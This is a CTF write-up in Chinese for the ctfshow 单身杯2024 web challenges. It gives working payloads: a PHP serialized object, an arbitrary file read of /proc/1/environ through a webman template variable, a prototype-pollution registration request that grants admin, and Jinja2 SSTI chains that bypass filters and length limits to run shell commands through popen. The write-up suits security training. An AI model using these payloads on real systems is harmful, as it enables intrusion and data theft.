ctfshow单身杯2024 Writeup By V3geD4g

WEB

签到·好玩的PHP

直接用数字和字符串绕就可以了

<?php

    class ctfshow {
   
   
        private $d = '1';
        private $s = '2';
        private $b = '3';
        private $ctf = 123;

        public function __destruct() {
   
   
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
   
   
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
   
   
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
   
   
                        if (md5($dsb) === md5($this->ctf)) {
   
   
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }
echo urlencode(serialize(new ctfshow));

迷雾重重

有一个任意文件包含

全局搜include，找到下面这个位置vendor/workerman/webman-framework/src/support/view/Raw.php

这里有一个include $__template_path__;并且可以通过变量覆盖传入任意值

继续往上找，发现support/helpers.php里面调用了render，并且参数可控，直接get传就行

最后就是app/controller/IndexController.php首页控制器里面的testJson方法直接调用了上面的view，就结束了，是一个任意文件读取，最后payload如下

{
   
   "name":"guest","__template_path__":"/proc/1/environ"}

ez_inject

比较脑洞，首先是原型链污染，由于不知道题目用的什么语言，只能硬猜，最后发现可以在注册时候直接多加一行is_admin去污染

POST /register HTTP/1.1
Host: 1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://1954f8f7-4de5-49ad-9562-771f1fb7194c.challenge.ctf.show/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,pl;q=0.7,en;q=0.6
Priority: u=0, i
Connection: close

{"username":"aaa",
"password":"1",
"is_admin":1
}

成为admin登录后，提示echo处存在注入

试了一下是一个不用括号的ssti，不知道过滤了什么，只能慢慢试出来，最后可以用的payload如下

config|attr('__in''it__')|attr('__glo''bals__')|attr('__geti''tem__')('os')|attr('popen')('ca''t /f''lag')|attr('re''ad')()

ezzz_ssti

只限制了长度的ssti，最大长度40，用config.update就行了，最后payload如下

{
   
   {
   
   config.update(f=lipsum.__globals__)}}
{
   
   {
   
   config.update(o=config.f.os)}}
{
   
   {
   
   config.update(p=config.o.popen)}}
{
   
   {
   
   config.p(request.args.c).read()}}&c=cat /f*